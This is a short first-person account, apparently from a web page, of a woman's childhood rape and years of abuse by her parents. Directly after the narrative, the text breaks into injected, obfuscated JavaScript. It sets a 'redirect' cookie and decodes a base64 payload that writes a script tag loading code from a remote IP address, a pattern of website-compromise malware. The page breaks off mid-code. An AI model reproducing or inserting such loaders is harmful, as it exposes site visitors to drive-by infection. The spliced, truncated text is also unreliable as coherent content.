I was 13. It was Solemn Communion Day, the first time I’d ever worn a store bought dress, nylons and a garter belt. I swirled into the kitchen to show it off. My mother grabbed the dress, pulled it up to expose my undergarments, saying, “Look Bernie, our little girl is growing up.” The look on my father’s face frightened me. I pulled away and, an incredibly modest young lady, sobbed fitfully as I ran to my bedroom. A few weeks later my father entered my bedroom where I slept with a rosary under my pillow and raped me. When my mother discovered my father’s nighttime raids she blamed me and had my father beat me with his belt as punishment, setting off five years of sexual, physical and mental abuse that only ended when I ran away from home. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
